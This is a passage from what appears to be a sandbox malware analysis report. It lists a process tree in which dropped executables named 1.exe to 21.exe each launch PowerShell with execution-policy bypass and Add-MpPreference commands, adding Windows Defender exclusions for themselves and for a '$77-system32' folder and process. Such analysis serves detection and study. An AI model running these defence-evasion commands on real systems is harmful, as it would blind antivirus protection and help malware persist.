        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        
        PID:10016
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        
        PID:15872
  - - C:\Users\Admin\AppData\Local\Temp\21.exe
      "C:\Users\Admin\AppData\Local\Temp\21.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:4540
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\21.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:6284
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '21.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12016
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7316
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:880
  - - C:\Users\Admin\AppData\Local\Temp\20.exe
      "C:\Users\Admin\AppData\Local\Temp\20.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1452
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\20.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:6348
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '20.exe'
        5⤵
        
        PID:12072
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        
        PID:15124
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7536
  - - C:\Users\Admin\AppData\Local\Temp\19.exe
      "C:\Users\Admin\AppData\Local\Temp\19.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:4496
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\19.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2572
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '19.exe'
        5⤵
        
        PID:12040
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:14848
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        
        PID:7608
  - - C:\Users\Admin\AppData\Local\Temp\18.exe
      "C:\Users\Admin\AppData\Local\Temp\18.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:4820
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\18.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:6900
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '18.exe'
        5⤵
        
        PID:11992
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:15116
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10508
  - - C:\Users\Admin\AppData\Local\Temp\17.exe
      "C:\Users\Admin\AppData\Local\Temp\17.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:2464
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\17.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:796
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '17.exe'
        5⤵
        
        PID:12080
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8776
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        
        PID:7992
  - - C:\Users\Admin\AppData\Local\Temp\16.exe
      "C:\Users\Admin\AppData\Local\Temp\16.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:6128
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\16.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:316
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '16.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12996
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        
        PID:9648
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        
        PID:16168
  - - C:\Users\Admin\AppData\Local\Temp\15.exe
      "C:\Users\Admin\AppData\Local\Temp\15.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:4944
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\15.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3184
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '15.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8104
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:72
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7532
  - - C:\Users\Admin\AppData\Local\Temp\14.exe
      "C:\Users\Admin\AppData\Local\Temp\14.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:328
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\14.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:6196
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '14.exe'
        5⤵
        
        PID:12056
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:14824
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:14600
  - - C:\Users\Admin\AppData\Local\Temp\13.exe
      "C:\Users\Admin\AppData\Local\Temp\13.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:924
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\13.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3024
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '13.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10104
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        
        PID:8124
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        
        PID:8260
  - - C:\Users\Admin\AppData\Local\Temp\12.exe
      "C:\Users\Admin\AppData\Local\Temp\12.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:3584
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\12.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:7096
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '12.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12048
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2556
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:14040
  - - C:\Users\Admin\AppData\Local\Temp\11.exe
      "C:\Users\Admin\AppData\Local\Temp\11.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1464
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\11.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1480
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:5708
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '11.exe'
        5⤵
        
        PID:11016
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:15220
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        
        PID:8268
  - - C:\Users\Admin\AppData\Local\Temp\10.exe
      "C:\Users\Admin\AppData\Local\Temp\10.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:5188
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\10.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:6820
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '10.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10572
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        
        PID:15228
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:16068
  - - C:\Users\Admin\AppData\Local\Temp\9.exe
      "C:\Users\Admin\AppData\Local\Temp\9.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:2820
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\9.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:352
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '9.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12008
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:15048
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8156
  - - C:\Users\Admin\AppData\Local\Temp\8.exe
      "C:\Users\Admin\AppData\Local\Temp\8.exe"
      4⤵
      Executes dropped EXE
      PID:1832
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\8.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:6760
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '8.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12748
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2564
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        
        PID:16092
  - - C:\Users\Admin\AppData\Local\Temp\7.exe
      "C:\Users\Admin\AppData\Local\Temp\7.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:5344
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\7.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:6992
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '7.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9472
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:15256
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        
        PID:11080
  - - C:\Users\Admin\AppData\Local\Temp\6.exe
      "C:\Users\Admin\AppData\Local\Temp\6.exe"
      4⤵
      Executes dropped EXE
      PID:5592
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\6.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:6428
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '6.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12304
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        
        PID:14984
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6800
  - - C:\Users\Admin\AppData\Local\Temp\5.exe
      "C:\Users\Admin\AppData\Local\Temp\5.exe"
      4⤵
      Executes dropped EXE
      PID:3928
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\5.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:6212
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '5.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:13004
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        
        PID:15004
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        
        PID:14032
  - - C:\Users\Admin\AppData\Local\Temp\4.exe
      "C:\Users\Admin\AppData\Local\Temp\4.exe"
      4⤵
      Executes dropped EXE
      PID:5088
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\4.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:6108
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '4.exe'
        5⤵
        
        PID:12024
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11488
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:15784
  - - C:\Users\Admin\AppData\Local\Temp\3.exe
      "C:\Users\Admin\AppData\Local\Temp\3.exe"
      4⤵
      Executes dropped EXE
      PID:5668
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\3.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:772
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '3.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12032
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:15028
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8140
  - - C:\Users\Admin\AppData\Local\Temp\2.exe
      "C:\Users\Admin\AppData\Local\Temp\2.exe"
      4⤵
      Executes dropped EXE
      PID:4732
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:6456
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '2.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12000
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:15044
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        
        PID:10124
  - - C:\Users\Admin\AppData\Local\Temp\1.exe
      "C:\Users\Admin\AppData\Local\Temp\1.exe"
      4⤵
      Executes dropped EXE
      PID:3708
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\1.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:7104
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '1.exe'
        5⤵
        
        PID:12792
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7308
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
